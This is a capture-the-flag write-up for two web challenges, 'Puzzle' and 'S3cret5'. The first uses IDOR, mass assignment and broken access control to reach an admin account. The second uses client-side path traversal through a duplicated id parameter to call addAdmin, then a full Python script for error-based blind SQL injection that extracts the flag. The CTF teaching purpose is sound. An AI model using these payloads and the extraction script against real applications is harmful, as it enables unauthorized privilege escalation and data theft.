This writeup contains solver for 2 challenges: S3cret5, and Puzzle.
🧾 Challenges
Puzzle
🤔Difficulity: Easy
🕸️Vulnerability: IDOR, Mass Assignment, Broken Access Control
Description
To be honest this challenge is kinda…. I don’t know what to say, but we will need to exploit broken access control and cracking zip. Some red herring exists to confuse the player.
Approach
IDOR & Mass Assignment
We were given a source code with no placeholder flag, but the web is about making article, where you can collaborate with other user. Also there’s an admin only endpoints. First thing I do is to found out how can i become an admin. The first vulnerability lies in the get_users_details(target_uuid), where a user can access another user information, including their password, but we need editor role to access this part, but this can be achieved but adding role 1 data while registering, below is the code to get a user profile.
@app.route('/users/<string:target_uuid>') defget_user_details(target_uuid): current_uuid = session.get('uuid') ifnot current_uuid: return jsonify({'error': 'Unauthorized'}), 401 current_user = get_user_by_uuid(current_uuid) ifnot current_user or current_user['role'] notin ('0', '1'): return jsonify({'error': 'Invalid user role'}), 403 with sqlite3.connect(DB_FILE) as conn: conn.row_factory = sqlite3.Row c = conn.cursor() c.execute(""" SELECT uuid, username, email, phone_number, role, password FROM users WHERE uuid = ? """, (target_uuid,)) user = c.fetchone() ifnot user: return jsonify({'error': 'User not found'}), 404 return jsonify({ 'uuid': user['uuid'], 'username': user['username'], 'email': user['email'], 'phone_number': user['phone_number'], 'role': user['role'], 'password': user['password'] }) .....Snippet.....
Broken Access Control
But we need to know the admin UUID. We can get it in the article page if we add the admin to collaborate and the admin accept it. we can see the collaborator uuid here:
To do that we need to abuse another endpoint which is handled by accept_collaboration. There’s no validation if the one who accept the collaboration is the user who is being requested
@app.route('/collab/accept/<string:request_uuid>', methods=['POST']) defaccept_collaboration(request_uuid): ifnot session.get('uuid'): return jsonify({'error': 'Unauthorized'}), 401 user = get_user_by_uuid(session['uuid']) ifnot user: return redirect('/login') if user['role'] == '0': return jsonify({'error': 'Admins cannot collaborate'}), 403 try: with sqlite3.connect(DB_FILE) as conn: conn.row_factory = sqlite3.Row c = conn.cursor() c.execute("SELECT * FROM collab_requests WHERE uuid = ?", (request_uuid,)) request = c.fetchone() ifnot request: return jsonify({'error': 'Request not found'}), 404 c.execute(""" INSERT INTO articles (uuid, title, content, author_uuid, collaborator_uuid) VALUES (?, ?, ?, ?, ?) """, (request['article_uuid'], request['title'], request['content'], request['from_uuid'], request['to_uuid'])) c.execute("UPDATE collab_requests SET status = 'accepted' WHERE uuid = ?", (request_uuid,)) conn.commit() return jsonify({'message': 'Collaboration accepted'}) except Exception as e: return jsonify({'error': str(e)}), 500 .....Snippet.....
Below is our flow on how we able to access admin account:
Make an article as a user, ask the admin to collaborate
Force the admin to collaborate
Get the admin uuid in the article page
See the admin profile
Login as admin
Now… how do we got the flag? the black magic starts here. In the source code, an admin capable of listing and read files in /data and /db, also banning user which has SSTI vulnerability but i won’t cover that part since it’s a red herring. Yet in the source code they gave to us, there’s nothing neither in /data nor /db which actually there’re something there in the remote 😀. Accessing /data will serve us with two files:
secrets.zip is locked, we need the password, where do we find it? in the web? no… it’s on the dbconnect.exe 😀. Run strings grep will give us the password: use it to get the unlock the zip, then we get the flag: Securinets{777_P13c3_1T_Up_T0G3Th3R}
S3cret5 (upsolve)
🤔Difficulity: Easy
🕸️Vulnerability: Client Side Path Traversal, Blind SQL Injection
Description
This chall target is how we can get the admin user and exploit blind sql injection. My fault here is not paying attention on how the id parameter being handled in the client, Instead I was focusing on how can i retrieve the csrf-token for the admin to escalate my user.
Approach
Looking at where the flag is placed at, our target is to exploit the sql injection vulnerability on user messages functionality which needs admin privilege user to access.
init.sql
1 2 3 4
.....Snippet..... INSERT INTO flags (flag) VALUES ('Securinets{fake}'); .....Snippet.....
And the SQL Injection vulnerability lies here in the filterby helper function
Let’s focus on how we can achieve admin user. First, There’s a report functionality there in routes/report.js. Second, the app POST methods were protected by CSRF Token, to make a post request, we will need _csrf cookie and CSRF-Token header in the request, so serving form page to force the victim to make a POST request without knowing the token would means nothing.
The app has addAdmin functionality, which allow the admin to make a user an admin but we need to be admin to do this:
the client will automaticly report the action that current user is accessing the profile page for spesific user Id. The problem is, instead of using userId which is generated from server, it use the id defined in the URL, and take the last one. which can be abused if we have 2 id query param:
1
http://host?id=2&id=3
instead of taking id=2, it will use the last one which is id=3. This can be escalated to Client Side Path Traversal in the log functionality since there’s no validation if the id is a number, which instead of number, we can supply id=2&id=../admin/addAdmin then the client will make log request such as:
1 2 3 4 5 6 7 8 9 10 11 12 13
fetch("/log/"+"../admin/addAdmin", { method: "POST", headers: { "Content-Type": "application/json" }, credentials: "include", body: JSON.stringify({ userId: 2, //since the first id is "2" action: "Visited user profile with id=" + profileId, _csrf: csrfToken }) }) .then(res => res.json()) .then(json =>console.log("Log created:", json)) .catch(err =>console.error("Log error:", err));
it also automatically supply the header with a valid CSRF-Token, allow us to exploit the addAdmin and escalate our privilege. Submit to the report page with this url http://localhost:3000/profile?id=2&id=../admin/addAdmin, then Login as the target user, will give us the admin access.
Blind SQL Injection
Our target next is to exploit the SQL Injection i’ve covered above, in short we can make a request that exploit the Error Trigger Boolean Blind SQL Injection the admin show messages functionality with this kind of request:
1 2 3 4 5 6 7 8
csrfToken = get_csrf_token() payload = f"msg\" LIKE $1 OR 1=(SELECT CASE WHEN (SUBSTRING((SELECT flag from flags), {position}, 1)='{char}') THEN 1/(SELECT 0) ELSE 0 END)-- -"
defget_csrf_token(): response = client.get("/csrf-token") if response.status_code == 200: return response.json().get("csrfToken") else: raise Exception("Failed to fetch CSRF token")
defcheck_char_greater(position, char_code): csrfToken = get_csrf_token() payload = f"msg\" LIKE $1 OR 1=(SELECT CASE WHEN (ASCII(SUBSTRING((SELECT flag from flags), {position}, 1))>{char_code}) THEN 1/(SELECT 0) ELSE 0 END)-- -" response = client.post("/admin/msgs", json={ "_csrf": csrfToken, "filterBy": payload, "keyword": "aaaa" })
return response.status_code == 400
defbinary_search_char(position): left, right = 32, 126 while left < right: mid = (left + right) // 2 if check_char_greater(position, mid): left = mid + 1 else: right = mid returnchr(left)
defget_flag_length(): for length inrange(1, 100): csrfToken = get_csrf_token() payload = f"msg\" LIKE $1 OR 1=(SELECT CASE WHEN (LENGTH((SELECT flag from flags))={length}) THEN 1/(SELECT 0) ELSE 0 END)-- -" response = client.post("/admin/msgs", json={ "_csrf": csrfToken, "filterBy": payload, "keyword": "aaaa" }) if response.status_code == 400: return length return -1
defextract_flag(): print("[*] Finding flag length...") flag_length = get_flag_length() print(f"[+] Flag length: {flag_length}") flag = "" for position inrange(1, flag_length + 1): char = binary_search_char(position) flag += char print(f"[+] Position {position}/{flag_length}: {char} -> Current flag: {flag}") return flag
if __name__ == "__main__": flag = extract_flag() print(f"\n[+] Complete flag: {flag}")